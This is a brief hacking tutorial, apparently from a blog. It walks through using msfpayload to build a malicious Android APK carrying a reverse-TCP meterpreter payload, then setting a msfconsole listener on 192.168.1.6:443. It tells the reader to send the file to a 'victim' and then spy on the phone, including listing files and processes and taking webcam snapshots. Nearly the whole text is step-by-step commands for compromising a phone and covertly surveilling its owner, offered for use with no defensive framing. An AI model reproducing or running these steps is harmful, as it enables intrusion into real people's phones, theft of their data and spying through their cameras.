Open Kali Linux Terminal and type
msfpayload android/meterpreter/reverse_tcp lhost=192.168.1.6 lport= 443 R > /root/Desktop/files.apk
|-p for payload||android/meterpreter/reverse_tcp|
|Lhost (IP address of your local host)||192.168.1.6|
|Lport (Port of your local pc)||443|
|-R format||Output format|
Now we successfully generate the malicious apk File, it will stored on your local computer
Now open your kli linux terminal and type msfconsole
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 443
Now send your files.apk files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim Android Phone.
As in Linux, the ‘ls’ command will list the files in the current remote directory.
The ‘ps’ command displays a list of running processes on the target.
This command provides you a list of all webcams on the target system. Each webcam will have an index number.
This command take a snapshot for the specified webcam, by default number 1 and will try without argument precision to open the saved snapshot